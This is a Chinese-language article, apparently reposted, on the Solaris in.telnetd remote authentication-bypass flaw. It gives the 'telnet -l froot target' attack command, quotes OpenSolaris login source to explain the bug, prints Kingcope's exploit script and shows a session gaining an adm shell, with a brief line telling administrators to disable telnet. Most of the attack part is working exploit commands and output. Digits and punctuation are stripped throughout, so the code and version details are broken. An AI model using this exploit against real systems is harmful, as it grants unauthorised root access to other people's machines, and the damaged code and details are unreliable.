Solaris中Telnet的使用
对于telnet服务的使用我们这里主要讲解一下Solaris系统中的一些应用那么首先然我们了解一下Solaris系统的相关内容和telnet的功能吧如果你的Solaris系统运行了telnet服务程序 你将会感到十分惊讶: 只需执行一个简单的步骤就可以获得root权限(也可以是其它用户权限) 该漏洞的全称是: Solaris /系统上的telnet远程root漏洞(或SunOS / intelnetd 远程漏洞) 无需任何技巧和漏洞知识 你就可以通过脚本执行大规模的攻击 完整的漏洞利用方法可以从该pdf文章获得(或从文章下面的漏洞代码解释部分) 下面简单介绍一下如何利用该漏洞 基本上你可以在telnet命令的l选项后指定任何一个fusername参数 fusername可以是任何你需要的用户名 比如bin root等 执行telnet后可以得到fusername指定的用户权限 比如:
telnet l fbin target_address
看到这里请禁止您solaris系统上的telnet程序 另外该漏洞的HEV数据可以从ErraSec网站下载
注: Solaris 的默认安装不会受到该漏洞的影响 如果你修改了/etc/default/login配置文件中的CONSOLE变量 你将只能通过本地控制台root登陆系统 当然如果你注释掉了CONSOLE这一行的话 任何用户都将可以通过本地或远程方式利用telnet漏洞
telnet l froot target_address
漏洞代码解释
下面的漏洞代码适用于SunOS /系统上的intelnetd程序 原作者是Kingcope
首先看Opensolaris的源代码:
CODE:
/usr/src/cmd/cmdinet/usrsbin/intelnetdc
} else /* default no auth info available login does it all */ {
(void) execl(LOGIN_PROGRAM login
p h host d slavename
getenv(USER) );
}
/usr/src/cmd/login/loginc
break;
case f:
/*
* Must be root to bypass authentication
* otherwise we exit() as punishment for trying
*/
if (getuid() != || geteuid() != ) {
audit_error = ADT_FAIL_VALUE_AUTH_BYPASS;
login_exit(); /* sigh */
/*NOTREACHED*/
}
/* save fflag user name for future use */
SCPYL(user_name optarg);
fflag = B_TRUE;
看完上面后 我们可以通过设置USER环境变量fusername来获得需要的用户权限 新的用户登陆无需口令验证
下面是正式的漏洞利用代码(称作sunos):
开始
#!/bin/sh
# CLASSIFIED CONFIDENTIAL SOURCE MATERIAL
#
# *********************ATTENTION********************************
# THIS CODE _MUST NOT_ BE DISCLOSED TO ANY THIRD PARTIES
# (C) COPYRIGHT Kingcope
#
################################################################
echo
echo SunOS / intelnetd Remote Exploit by Kingcope
if [ $# ne ]; then
echo /sunos
echo /sunos localhost bin
exit
fi
echo
echo ALEX ALEX
echo
telnet lf$ $
结束
然后执行漏洞程序:
$ /sunos adm
SunOS / intelnetd Remote Exploit by Kingcope
ALEX ALEX
Trying
Connected to
Escape character is ^]
Last login: Wed Feb :: from
Sun Microsystems Inc SunOS Generic January
$ uname a;id
SunOS library Generic_ sunu sparc SUNWSunFireV
uid=(adm) gid=(adm)
$
我们看到 执行sunos脚本后 执行者获得了adm帐户权限